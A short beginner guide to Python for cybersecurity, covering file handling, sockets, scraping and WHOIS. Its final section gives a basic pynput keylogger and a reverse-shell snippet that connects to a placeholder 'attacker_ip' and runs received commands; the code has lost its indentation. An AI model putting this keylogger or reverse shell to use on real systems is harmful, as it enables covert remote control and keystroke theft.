Python for Cybersecurity - Step-by-Step Guide with Examples

Step 1: Core Python for Cybersecurity

- File Handling: Read/write log files.

Example:

with open('log.txt', 'r') as file:

print(file.read())

- OS & Subprocess:

import os

os.system('whoami')

- Regex:

import re

re.findall(r'\d+', 'User123 logged in')

- Exception Handling:

try:

x=1/0

except ZeroDivisionError:

print('Error caught!')

Step 2: Networking & Sockets

- Socket Programming:

import socket

s = socket.socket()

s.connect(('example.com', 80))
- Requests:

import requests

r = requests.get('http://example.com')

print(r.text)

- Scapy Intro:

from scapy.all import *

sniff(count=5)

Step 3: Web Scraping & OSINT

- BeautifulSoup:

from bs4 import BeautifulSoup

soup = BeautifulSoup('<html>...</html>', 'html.parser')

- WHOIS API:

import whois

print(whois.whois('example.com'))

Step 4: Hacking Scripts & Automation

- Keylogger (basic idea):

from pynput import keyboard

def on_press(key): print(key)

with keyboard.Listener(on_press=on_press) as l: l.join()

- Reverse Shell (concept):

import socket,subprocess
s=socket.socket()

s.connect(('attacker_ip',port))

while True:

cmd=s.recv(1024)

output=subprocess.getoutput(cmd.decode())

s.send(output.encode())
